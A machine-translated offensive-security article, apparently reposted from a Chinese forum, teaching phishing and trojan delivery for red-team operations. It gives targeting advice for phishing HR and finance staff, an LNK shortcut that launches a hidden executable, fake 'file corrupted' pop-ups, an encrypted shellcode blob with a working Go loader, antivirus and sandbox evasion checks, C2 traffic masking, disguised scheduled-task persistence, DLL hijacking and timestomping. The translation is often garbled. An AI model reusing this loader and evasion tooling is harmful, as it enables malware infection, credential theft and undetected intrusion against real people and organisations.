Актуальные методы атаки и защиты |
Актуальные методы атаки и защиты |

Оригинальная статья была впервые опубликована в: Сообщество наступления и защиты Цяньсинь.

https://forum.butian.net/share/2532

Заявление: Большинство статей в этом общедоступном аккаунте взяты из ежедневных учебных заметок автора, а некоторые статьи переизданы с разрешения автора и других белых списков общедоступного аккаунта. Несанкционированная перепечатка строго запрещена. Если вам необходимо перепечатать, свяжитесь с Kaibai. Пожалуйста, не используйте соответствующие технологии, описанные в статье, для участия в незаконном тестировании. Любые вытекающие из этого неблагоприятные последствия не имеют никакого отношения к автору статьи и этому публичному аккаунту.

Рыбалка - широко используемый метод в наступательных и оборонительных противостояниях.,Злоумышленники часто притворяются доверенными лицами,Пример нравиться Юридическое учреждение, компания или частное лицо,Чтобы вынудить жертв раскрыть конфиденциальную информацию илиосуществлять Вредоносная операция,Может быстро вскрыть раны цели.,Быстро войдите в интранет, чтобы очистить очки,При доставке троянов также необходимо учитывать возможность уклонения от обнаружения антивирусным программным обеспечением.,В этой статье основное внимание будет уделено некоторым распространенным методам. рыбалкии Разворачивается противостояние «троянского коня»

[Практический веб-бой] Техники рыбной ловли и методы борьбы с троянами

Краткое описание

Рыбалка - широко используемый метод в наступательных и оборонительных противостояниях.,Злоумышленники часто притворяются доверенными лицами,Пример нравиться Юридическое учреждение, компания или частное лицо,Чтобы вынудить жертв раскрыть конфиденциальную информацию илиосуществлять Вредоносная операция,Может быстро вскрыть раны цели.,Быстро войдите в интранет, чтобы очистить очки,При доставке троянов также необходимо учитывать возможность уклонения от обнаружения антивирусным программным обеспечением.,В этой статье основное внимание будет уделено некоторым распространенным методам. рыбалкии Разворачивается противостояние «троянского коня»

сбор информации

Пакетный сбор почтовых ящиков

https://app.snov.io/ http://www.skymem.info/

поисковая система

Вообще говоря, в корпоративных почтовых ящиках есть почтовые шлюзы, и доставка почты легко перехватывается при возврате, поэтому приходится выбирать частный ящик или ящик, не заблокированный почтовой службой:

нравиться xxотчет,xxвербовкаПочтовый ящик для публики,Связанный синтаксис:

Язык кода:javascript
копировать
site:"xxx.com"  отчет  
site:"xxx.com"  вербовка  
  
xx компанияотчет @126.com  
xx подбор компании @qq.com

методы рыбалки

социальный работник на рыбалке
  • Первое – выбор цели,целевая группа:hr、менеджер、финансы Отдавайте приоритет людям со слабой осведомленностью о безопасности и заранее подготовьте несколько сценариев.
  • Выбор филиала целевой компании для фишинга имеет более высокий уровень успеха. Заранее продумайте слова и меры на случай непредвиденных обстоятельств. Лучше не ходить в штаб-квартиру и избегать отдела информационной безопасности.
  • Хозяин Шэню может попробовать телефонный фишинг, завоевать доверие, а затем добавить WeChat для рассылки троянов (требуется необычайное психологическое качество и адаптивность, раньше я многому научился у Пань Гаогона)
фишинг электронной почты
  • Массовая рассылка электронных писем (не рекомендуется, так как ее могут легко обнаружить администраторы или перехватить шлюзы электронной почты)
  • Собирать личные адреса электронной почты ключевых фигур для целевой доставки (рекомендуется, строго скрыто)
Выплата социальных субсидий

Следите за актуальными темами,Используйте различные благотворительные мероприятия для привлечения кликов целевых пользователей.,ПучокКонвертировать фишинговую ссылку в QR-кодотправлять

Возобновить доставку

Отправляя резюме на прием на работу, HR не будет тщательно проверять суффиксы, столкнувшись с большим количеством резюме.

Не знаете, как написать текст о рыбалке? Это не имеет значения,Если его можно сгенерировать автоматически, не вводите его вручную.,здесь для насchatgptБольшой брат добавляет куриные ножки

Отчетное письмо

xxx сообщает о жалобах с настоящим именем. Обычно отзывы обрабатываются очень быстро.

Маскировка фишингового файла

Общие советы
  • Троян необходимо сжать,Добавить пароль и скрыть содержимое,Или двойное сжатие троянского документа,Обход обнаружения шлюза электронной почты в определенной степени
  • Выберите суффикс, который менее распространен, но все же работает какexeосуществлять,нравитьсяscr、comждать
  • документ, используйте длинное имя,нравиться Если другая сторонадокумент Настройки дисплея неткогда,Не могу увидеть суффикс при предварительном просмотре
рыбалка

нравиться Если вы знаете, что на целевом устройстве не используется антивирусное программное обеспечение, такое как 360 Tianqing, вы можете использовать lnkдокумент для рыбалки (360 его перехватит)

Заполните целевое местоположение ярлыка:

Язык кода:javascript
копировать
%windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc && C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe"

Выбор пути замены значков:

Язык кода:javascript
копировать
C:\\Program Files (x86)\\Microsoft\\Edge\\Application  
%SystemRoot%\\System32\\imageres.dll  
%SystemRoot%\\System32\\shell32.dll
Всплывающее сообщение об ошибке

При запуске msgbox отображается запутанное содержимое, например «Файл поврежден».

реализация VBS

Язык кода:javascript
копировать
On Error Resume Next  
WScript.Sleep 2000  
msgbox «Если передний документ поврежден, смените инструмент, чтобы открыть его», 64, «Подсказка» 

реализация кода Go

Язык кода:javascript
копировать
package main  
  
import (  
    "github.com/gen2brain/dlgs"  
)  
  
func box() {  
    _, err := dlgs.Info("Подсказка", «Если документ поврежден, замените инструмент, чтобы открыть его»).  
  if err != nil {  
    panic(err)  
  }  
}

Ощутите эффект

упаковщик файлов
  • Привязка в нормедокументи Вредоносный троян,После запуска сам exe-файл будет удален самостоятельно.,Затем освободите обычный документ в прежнем каталоге и откройте его.,и выпустите трояна на C:\Users\Public\VideosЗапустить в каталоге
  • Версия 1.1 Обход штатного антивирусного ПО (360、def、Tinderждать)
  • Версия 1.2 Добавленный документ автоматически скрывается после выпуска.

Реализация эффекта

Распространенные типы антивирусного программного обеспечения

Тип антивируса

Особенности антипрограммного обеспечения

Tinder

Существует множество ограничений на параметры компиляции.Он распознает характеристики хэша и строки.Он практически не проверяет и не уничтожает статические параметры, если они являются динамическими.Он также сообщает о вирусах при вызове некоторых библиотек go.

360

Убийственная сила 360 сама по себе не высока. После установки антивируса сын становится отцом, и убойная сила значительно увеличивается. Антивирус автоматически загрузит образец. Через некоторое время можно легко выйти в автономный режим. Рекомендуется использовать отдельный метод загрузки и использовать изолированный код, который продлевает время работы.

360-градусный кристалл

После включения он мало повлияет на общую производительность уничтожения. Избегайте использования внедрения процесса для загрузки шеллкода. Вместо этого используйте плагин bof.

Defender

Добавлены новые правила cobaltstrike. Рекомендуется использовать Stageless, что лучше, чем Stage. В версии 4.5 включен параметр Sleep_mask для улучшения возможности защиты от уничтожения. Он не очень хорошо обнаруживает большие файлы.

Основной метод загрузки

Ниже приведен лишь базовый пример, который реализует только функции шифрования, дешифрования и загрузки.

Сначала используйте скрипт Python для шифрования payload.c документ

Язык кода:javascript
копировать
import base64  
  
originalShellcode = b"\xfc\xe8\x89\x00"  
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])  
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')  
  
print(encodedShellcode)

ВыходсодержаниезаполнятьencryptedShellcodeкомпилировать

Язык кода:javascript
копировать
package main

import (
    "encoding/base64"
    "syscall"
    "unsafe"

    "github.com/lxn/win"
    "golang.org/x/sys/windows"
)

func main() {
    // проходить base64 и XOR Расшифровать shellcode содержание
    win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
    encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw=="
    decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
    for i := 0; i < len(decodedShellcode); i++ {
        decodedShellcode[i] ^= 0x77
    }

    // получать kernel32.dll в VirtualAlloc функция
    kernel32, _ := syscall.LoadDLL("kernel32.dll")
    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

    // Выделяем память и пишем shellcode содержание
    allocSize := uintptr(len(decodedShellcode))
    mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, decodedShellcode)

    // осуществлять shellcode
    syscall.Syscall(mem, 0, 0, 0, 0)
}

Универсальные методы обхода антивирусов

  • Чтобы избежать убийства, выберите удаленную загрузку или отдельную загрузку документа.,Но есть и некоторые недостатки,Первый может быть отслежен до источника, или URL-адрес может быть заблокирован оборудованием безопасности.,Последний требует двух документов и больше подходит для защиты прав.
  • Заполнение ненужным кодом, выполнение безвредных операций перед загрузкой шеллкода, вмешательство в работу песочницы и антивирусного программного обеспечения или обход обнаружения с определенной вероятностью путем задержки выполнения или увеличения размера программы.
  • Выбор нишевого языка для написания и создания загрузчиков имеет меньше возможностей. Помимо инструментов CS, вы также можете использовать другие самописные инструменты C2, такие как vshell.

Генерация в один клик, чтобы избежать убийства

Я бесстыден и пришел в Amway, чтобы запустить еще один проект на GitHub. Хм, если вы считаете, что он хорош, вы можете поставить ему звезду ⭐

Работа Ван Чао, мастера избегать убийств, https://github.com/wangfly-me/LoaderFly

Троян против убийств команды Qianji-Red создается автоматически https://github.com/Pizz33/Qianji

Влияние параметров компиляции

Язык кода:javascript
копировать
go:
-race   Сборник обнаружения расы  
-ldflags '-s -w'   Удалить информацию о компиляции  
-ldflags '-H windowsgui'   Скрыть окно  
  
искажение (библиотека путаницы):
-tiny                    Удалить дополнительную информацию  
-literals               запутанный текст  
-seed=random   Случайное начальное число в кодировке Base64

Например, для компиляции безвредного кода используйте -literals Параметры, 360 по-прежнему будет сообщать о яде, если вы его не добавите, он не будет сообщать о яде.

Язык кода:javascript
копировать
package main  
  
func main() {  
    // два числа, которые нужно умножить  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // Используйте цикл for для выполнения умножения  
    for i := 0; i < num2; i++ {  
        result += num1  
    }  
}

-H windowsguiПараметры также окажут большое влияние на иммунитет от убийств.,Если вам нужно скрыть черный ящик, вы можете использовать вместо него следующий код (но под win11 черный ящик все еще есть)

Язык кода:javascript
копировать
package main  
  
import "github.com/lxn/win"  
  
func main(){  
  win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)  
}
Язык кода:javascript
копировать
func box()int{  
    FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")  
    FreeConsole.Call()  
    return 0  
}  
  
func main() {  
  box()

Статическая обработка объектов

запутывание

перейти на низкую версию https://github.com/boy-hack/go-strip

перейти на высокую версию https://github.com/burrowers/garble

изменить строку замены

https://github.com/optiv/Mangle

Mangle.exe -I xxx.exe -M -O out.exe

Сравнивая до и после обработки mangle, можно обнаружить, что строка функции компиляции go заменяется случайными символами.

переменная в кодировке base64
Язык кода:javascript
копировать
cmd := exec.Command("rundll32.exe", "xxx")

Ключевая строка закодирована Base64, а значение переменной заменяется в соответствующей позиции.

Язык кода:javascript
копировать
encodedCommand := "cnVuZGxsMzIuZXhl"  
encodedArguments := "MTExTdGFydA=="  
  
// Декодирование команд и параметров в кодировке Base64  
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)  
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)  
  
cmd := exec.Command(string(decodedCommand), string(decodedArguments))

Обход QVM

Добавить ресурсы

1. Чтобы добавить подпись к значку, сведения об авторских правах и другую информацию, вы можете использовать следующие элементы, чтобы добавить их одним щелчком мыши.

https://github.com/Pizz33/360QVM_bypass https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public https://github.com/langsasec/Sign-Sacker

поведенческие характеристики

Запустите, чтобы загрузить шеллкод напрямую, и обычно сообщите напрямую qvm.

Язык кода:javascript
копировать
package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}

Сначала выполните нормальное поведение, а затем загрузите шеллкод. qvm не сообщает о вирусах. Ниже приведен пример, который можно изменить в соответствии с реальной ситуацией.

Язык кода:javascript
копировать
package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // Используйте цикл for для выполнения умножения  
    for i := 0; i < num2; i++ {  
        result += num1  
    }  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}

Полезные методы борьбы с песочницей

Выйти из решения IP
Язык кода:javascript
копировать
func san() {  
  url := "https://myip.ipip.net/"  
  
  resp, err := http.Get(url)  
  if err != nil {  
    os.Exit(1)  
  }  
  defer resp.Body.Close()  
  
  body, err := ioutil.ReadAll(resp.Body)  
  if err != nil {  
    os.Exit(1)  
  }  
  
  content := string(body)  
  
  if strings.Contains(content, "Китай") {  
  } else {  
    os.Exit(1)  
  }  
  }
Проверьте количество файлов рабочего стола
Язык кода:javascript
копировать
func desktop() {  
    desktopPath, err := os.UserHomeDir()  
    if err != nil {  
        fmt.Println("Невозможно найти путь к рабочему столу пользователя:", err)  
        return  
    }  
  
    desktopPath = filepath.Join(desktopPath, "Desktop")  
    fileCount, err := countFilesInDir(desktopPath)  
    if err != nil {  
        fmt.Println("Невозможно прочитать список документов пользователя на рабочем столе:", err)  
        return  
    }  
  
    fmt.Println("Номер документа рабочего стола пользователя:", fileCount)  
  
    if fileCount < 7 {  
        os.Exit(0)  
    }  
    // Напишите здесь другую логику кода.  
}
Обнаружение распространенного программного обеспечения, такого как WeChat
Язык кода:javascript
копировать
func CheckWeChatExist() {  
  k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)  
  if err != nil {  
    os.Exit(0)  
  }  
  defer k.Close()  
  
  s, _, err := k.GetStringValue("InstallDir")  
  if err != nil || s == "" {  
    os.Exit(0)  
  }  
}
Обнаружение файла pagefile.sys
Язык кода:javascript
копировать
func sys() {  
    pageFilePath := "C:\\pagefile.sys"   
    _, err := os.Stat(pageFilePath)  
    if os.IsNotExist(err) {  
        os.Exit(1)  
    } else if err != nil {  
    } else {  
    }  
}
Определить тип системы
Язык кода:javascript
копировать
func language() {  
    language := os.Getenv("LANG")  
  
    if strings.Contains(language, "en_US") {  
        os.Exit(0)  
    } else {  
    }  
}

Обработка трафика памяти

Сторону трафика можно замаскировать с помощью облачных функций или CDN. Для настройки обратитесь к онлайн-руководству. Я не буду здесь вдаваться в подробности. Вы можете обратиться к связанным проектам, но обратите внимание на настройки разрешений oss, чтобы вас не отслеживали.

https://github.com/9bie/oss-stinger https://github.com/pantom2077/alioss-stinger

Пользовательский профиль, который может быть сгенерирован случайным образом с использованием следующих элементов.

https://github.com/threatexpress/random_c2_profile

Обфускация памяти, динамическое шифрование и дешифрование памяти маяка, перезагрузка Ntdll и другие технологии, см. следующую статью.

https://www.freebuf.com/articles/system/361161.html https://idiotc4t.com/defense-evasion/load-ntdll-too

Выполнить обход команды

Выполнение конфиденциальных операций, таких как создание снимков экрана и создание изображений, непосредственно через cs может легко привести к отключению маяка. В этом случае вместо этого вы можете использовать bof. Вот несколько полезных функций:

Миграция процесса https://github.com/ajpc500/BOFs Скриншот https://github.com/baiyies/ScreenshotBOFPlus Удалить себя https://github.com/AgeloVito/self_delete_bof обойти повышение привилегий https://github.com/youcannotseemeagain/ele

Вы можете регулярно заходить на github, чтобы следить за некоторыми полезными новостями.

Разрешение на обслуживание

постоянные распоряжения Добавить запланированную задачу,Я не буду вдаваться в подробности реестра.,Существуют онлайн-уроки по командам.

Добавить запланированную задачу

в нападении и защите,Онлайн-машины всегда требуют ручной защиты прав, что слишком хлопотно.,Автоматическое добавление онлайн в код Добавить запланированную задача, проверка может Обход штатного антивирусного ПО

Частичный код реализации: https://github.com/capnspacehook/taskmaster

Язык кода:javascript
копировать
package main  
  
import (  
    "os"  
    "github.com/capnspacehook/taskmaster"  
)  
  
func runWinTask(path string) {  
    // Создать начальную запланированную задачу  
    taskService, _ := taskmaster.Connect()  
  
    defer taskService.Disconnect()  
    // Определите новые запланированные задачи  
    newTaskDef := taskService.NewTaskDefinition()  
    // Добавьте путь к программе изучения  
    newTaskDef.AddAction(taskmaster.ExecAction{  
        Path: path,  
    })  
    // Определите запланированные задачиосуществлять时间ждать,Настроить запуск при загрузке  
    newTaskDef.AddTrigger(taskmaster.BootTrigger{  
        TaskTrigger: taskmaster.TaskTrigger{  
            Enabled: enable,  
        },  
    })  
  
    // Создать запланированную задачу  
    result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true)  
    result=result  
}  
  
func main() {  
    path, err := os.Executable()  
    if err != nil {  
        return  
    }  
  
    runWinTask(path)  
}
Скрыть запланированные задачи

Конкретные принципы можно найти в статье Master 0x727.

https://github.com/0x727/SchTask_0x727 https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html

  • Выберите случайное имя процесса на хосте в качестве имени документа программы запланированного задания.
  • Переместите программу запланированных задач «Документировать» в %AppData%\Microsoft\Windows\Themes\
  • Созданная запланированная задача названа в честь того же случайного процесса.
  • Триггеры запланированных задач измеряются минутами и длятся неопределенное время.
  • Изменять Индексировать, удалить SD Ключевая ценность, Скрыть запланированные задача соответствующая XML документ
замена перехвата dll

Наиболее часто используемые из них: C:\Program Files (x86)\Google\Update

когда GoogleUpdate.exe Когда программа запущена, она вызывает файл в текущем каталоге. goopdate.dll документ

одиночный поиск

https://github.com/wietze/windows-dll-hijacking

Пакетный поиск

https://github.com/knight0x07/ImpulsiveDLLHijack

Язык кода:javascript
копировать
ImpulsiveDLLHijack.exe -path xxx.exe

используется здесьnavicatтест,Видно, что он будет загружаться при запускеC:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

Изменить время файла

Когда мы загружаем троян cs на сервер,Поскольку дата модификации новая,Персонал синей команды легко поддается everything Время проверки для устранения чрезвычайных ситуаций

На данный момент мы можем использовать некоторые методы, чтобы скрыть

https://github.com/MsF-NTDLL/ChTimeStamp

проходить Этот проект реализован Изменить время файл, сначала посмотрите на эффект предварительного просмотра

Проверить сетевую версию

Язык кода:javascript
копировать
shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r

Нужно установить net3.5, но еще не установил

Язык кода:javascript
копировать
shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe  
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\\sources\\sxs

https://github.com/MsF-NTDLL/ChTimeStamp

Язык кода:javascript
копировать
shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll  
shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll

https://github.com/sorabug/ChangeTimestamp

Язык кода:javascript
копировать
ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27
boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose